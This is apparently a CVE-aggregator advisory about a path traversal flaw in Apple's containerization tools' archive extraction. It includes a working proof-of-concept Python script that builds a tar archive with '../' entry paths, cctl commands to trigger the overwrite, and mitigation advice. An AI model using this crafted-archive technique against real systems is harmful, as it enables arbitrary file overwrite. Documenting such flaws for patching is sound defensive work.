Listen to this Post
The vulnerability exists in the `ArchiveReader.extractContents()` function within Apple’s open-source containerization tools (cctl and container). The function, written in Swift, extracts files from an archive (like a tar file) to a specified directory. It constructs the full target path by simply appending the `entry.path` from the archive to the destination directory URL without any sanitization. An attacker can create a malicious archive containing a file with a path like ../../../../etc/passwd. When this archive is processed, the `directory.appending(path: p)` operation does not prevent directory traversal. Consequently, the file is written to the absolute path resolved by the OS, which could be any location writable by the user running the vulnerable command, leading to arbitrary file creation or overwrite.
DailyCVE Form:
Platform: Apple containerization tools
Version: Prior to fix
Vulnerability: Path Traversal
Severity: Medium
Date: 2024-05-23
Prediction: Patch expected 2024-06-15
What Undercode Say:
Analytics:
find . -name ".swift" -type f -exec grep -l "extractContents" {} \;
python3 make-evil-tar.py
cctl images load -i evil.tar
ls -la /tmp/pwned.txt
make-evil-tar.py import tarfile, io, time tar_path = "evil.tar" payload = b"pwned\n" with tarfile.open(tar_path, "w") as tar: info = tarfile.TarInfo(name="../../../../../../../../../../../tmp/pwned.txt") info.size = len(payload) info.mtime = int(time.time()) info.mode = 0o644 tar.addfile(info, io.BytesIO(payload))
How Exploit:
1. Craft malicious tar archive.
2. Use `cctl image load` command.
3. File extracts to arbitrary location.
Protection from this CVE:
Sanitize archive entry paths.
Validate against directory traversal.
Use safe path joining methods.
Impact:
Arbitrary file write.
User-writable locations compromised.
No privilege escalation.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
